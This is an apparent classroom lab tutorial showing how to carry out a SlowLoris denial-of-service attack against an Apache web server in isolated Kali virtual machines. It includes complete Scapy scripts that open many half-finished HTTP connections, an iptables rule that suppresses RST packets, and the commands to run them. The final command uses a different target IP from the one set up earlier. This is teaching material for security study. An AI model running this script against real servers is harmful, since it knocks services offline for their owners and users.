Slow Loris Attack with Scapy (NETLAB)

Purpose

The default Apache web server has a weakness--it can only handle 150 requests at a time, and it waits a long time for incomplete requests to be completed.

An attacker therefore can render an Apache server unusable easily by sending incomplete HTTP requests. This is the SlowLoris attack.

Preparing an Apache Web Server

Open the Kali64 virtual machine. This will be your Web server. Log in as root with the password toor

Use this command to find your Web Server's IP address:

ifconfig
Your Web Server's IP address should be 172.16.1.202.

Starting Apache on the Web Server

On the Web Server, execute these commands:

service apache2 start

firefox localhost

You see a default Apache page, as shown below.

Starting your Attacker Machine

Open the Kali32 virtual machine. This is your Attacker machine. Log in as root with the password toor

Watching Network Connections on the Web Server Machine

On the Web Server machine, close Firefox. In the Terminal window, execute this command:
watch "netstat -pant"
You should see a continuously updated list of network connections, as shown below on this page. Right now, there are no ESTABLISHED connections, only a listening process.

Viewing the Web Page from the Attacker Machine

On the Attacker Linux machine, open Firefox. In the Address bar, type the IP address of your Target Linux Machine. You should see the default Web page for your Apache server, as shown below on this page. I customized mine by adding "NBLUG" to it, but it doesn't matter if yours is customized or not.

On your Target Linux machine, you should see an ESTABLISHED connection to the server on local port 80, as shown below on this page. If you don't see it, try refreshing the browser on the Attacker Linux machine.

Blocking ACK Packets on the Attacker Linux Machine

As before, you must block RST packets with iptables. Otherwise Linux will cancel the connections we make with RST packets.

On the Attacker Linux Machine, open a Terminal window. In the Terminal window, execute these commands:

iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP

iptables -L

You should see a rule in the OUTPUT section that drops RST packets, as shown below on this page.

Creating a Handshake Function on the Attacker Linux Machine

First, we'll make a normal TCP handshake in Scapy. This script also includes a "Usage" message.

On the Attacker Linux machine, in a Terminal window, execute this command:

nano handshake.py
In the nano window, type this script:
#!/usr/bin/env python
import sys
from scapy.all import *

if len(sys.argv) != 3:
    print "Usage: ./handshake.py <target-ip> <source-port>"
    sys.exit(1)

target = sys.argv[1]
sp = int(sys.argv[2])

i = IP()
i.dst = target
print "IP layer prepared: ", i.summary()

t = TCP()
t.dport = 80
t.sport = sp
t.flags = "S"
print "Sending TCP SYN Packet: ", t.summary()
ans = sr1(i/t)
print "Reply was: ",ans.summary()

t.seq = ans.ack
t.ack = ans.seq + 1
t.flags = "A"
print "Sending TCP ACK Packet: ", t.summary()
ans = sr(i/t/"X")

Here is an image of the script:

Save the file with Ctrl+X, Y, Enter.

On the Attacker machine, in the Terminal window, execute these commands.

chmod a+x handshake.py

./handshake.py 172.16.1.202 2000

On the Web Server machine, you should see a connection from local port 80 to remote port 2000, as shown below.

Watching Server Status on the Web Server Machine

On the Web Server machine, type Ctrl+C to stop the "watch netstat" process.

Execute this command:

firefox localhost/server-status
You should see the Apache server status page, with only one request being processed, as shown below on this page:

Creating a Slowloris Script on the Attacker Linux Machine

On the Attacker Linux machine, in a Terminal window, execute this command:
nano slowloris.py
In the nano window, type in this script.
#!/usr/bin/env python
import sys
from scapy.all import *

if len(sys.argv) != 4:
    print "Usage: ./slowloris.py <target-ip> <starting-source-port> <number-of-GETs>"
    sys.exit(1)

target = sys.argv[1]
sp = int(sys.argv[2])
numgets = int(sys.argv[3])

print "Attacking ", target, " with ", numgets, " GETs"

i = IP()
i.dst = target
print "IP layer prepared: ", i.summary()

for s in range(sp, sp+numgets-1):
    t = TCP()
    t.dport = 80
    t.sport = s
    t.flags = "S"
    ans = sr1(i/t, verbose=0)
    t.seq = ans.ack
    t.ack = ans.seq + 1
    t.flags = "A"
    get = "GET / HTTP/1.1\r\nHost: " + target
    ans = sr1(i/t/get, verbose=0)
    print "Attacking from port ", s
print "Done!"
 
The script looks like this (split across two images because NETLAB limits the screen size):

This script is very similar to the handshake.py script. The only changes are that it sends an HTTP GET each time, which is incomplete because it is missing the final carriage return and line feed, and that it loops through many source ports.

On the Attacker Linux machine, in the Terminal window, execute these commands. In the second command, replace the IP address with the address of your Linux Target machine:

chmod a+x slowloris.py

./slowloris.py 192.168.198.133 3000 1000

On the Web Server machine, in the Firefox window, click the Refresh button every few seconds. The grid should fill with letters, as the attack uses up all available connections.

Your screen should look like the image below on this page:


Sources

http://packetstorm.linuxsecurity.com/papers/general/blackmagic.txt

http://wikihead.wordpress.com/2011/01/09/packet-crafting-using-scapy/

http://blog.facilelogin.com/2010/12/hand-crafting-tcp-handshake-with-scapy.html


Last modified: 5-3-14
Modified for NETLAB 6-9-16
Updated to insert missing images 6-28-16